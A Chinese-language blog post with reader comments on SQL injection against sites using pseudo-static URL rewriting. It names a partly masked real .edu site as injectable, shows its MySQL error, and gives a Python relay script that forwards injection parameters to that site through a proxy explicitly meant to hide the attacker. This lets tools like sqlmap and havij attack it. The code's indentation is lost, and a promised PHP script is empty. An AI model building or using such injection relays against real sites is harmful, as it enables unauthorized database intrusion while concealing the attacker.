python脚本处理伪静态注入

目前有很多网站做了rewrite.

[cce]/?id=1

/1

/1111.php
[/cce]

通常情况下,动态脚本的网站的url类似下面这样

http://www.xxoo.net/aa.php?id=123

做了伪静态之后类似这样

http://www.xxoo.net/aa.php/id/123.html

总归大趋势下,攻击的门槛逐渐增高。这样有利有弊,喜欢研究的会深入钻研,另一方面只会用工具不懂原理的则充斥到大小论坛水区。

实战举例:

http://www.bxxxxxxxxxxxx.edu/magazine/index.php/mxxxxia/gallery/dickinsons-last-dance/1

这个点存在注入

[cce]Error Number: 1064

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘1dddddd, 1’ at line 4
[/cce]

标准的显错注入。

这里测试了几个工具havij

http://www.bxxxxxxxxxxxx.edu/magazine/index.php/mxxxxia/gallery/dickinsons-last-dance/1

sqlmap

safe3

穿山甲

此上都无法直接注入。

这里借助注入中转实现:

中转工具有一些   win7下会遭遇各种奇葩问题。并linux下不能使用。

用python  code了一篇,为什么用python 因为他开发快,不用各种环境。

[cce]from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
def do_GET(self):
path=self.path
path=path[path.find(‘id=’)+3:]
proxy_support = urllib2.ProxyHandler({“http”:”http://127.0.0.1:8087″})
opener = urllib2.build\_opener(proxy\_support)
urllib2.install_opener(opener)
url=”http://www.xxxxxxxxxxxxx.edu/magazine/imedia/gallery/dickinsons-last-dance/”
try:
response=urllib2.urlopen(url+path)
html=response.read()
except urllib2.URLError,e:
html=e.read()
self.wfile.write(html)
server = HTTPServer((“”, 8000), MyHTTPHandler)
server.serve_forever()
[/cce]

不到20行代码(并加入了 goagent代理for hidden )。 已经实现了要求。

http://127.0.0.1:8000/?id=1

从而达到目的。相比构造自己脚本去执行sql注入语句,要高效的多。


给习惯用php的朋友添加一个php脚本的中转注入:

可以自定义需要的头信息,在需要cookie或者refer等位置都可以方便的添加,添加好后直接访问zhongzhuan.php?id=1然后就可以放到工具中注入了,十分方便 🙂

[cce]
[/cce]

Comment

评论:from BaseHTTPServer import *

评论:mark

评论:好工具

评论:mark

评论:马克

评论:sqlmap可以指定位置进行注入,不一定要参数

评论:havij用 %Inject_Here%了没

评论:好厉害

评论:这python代码缩进都没。。看的头疼

发表评论

电子邮件地址不会被公开。 必填项已用*标注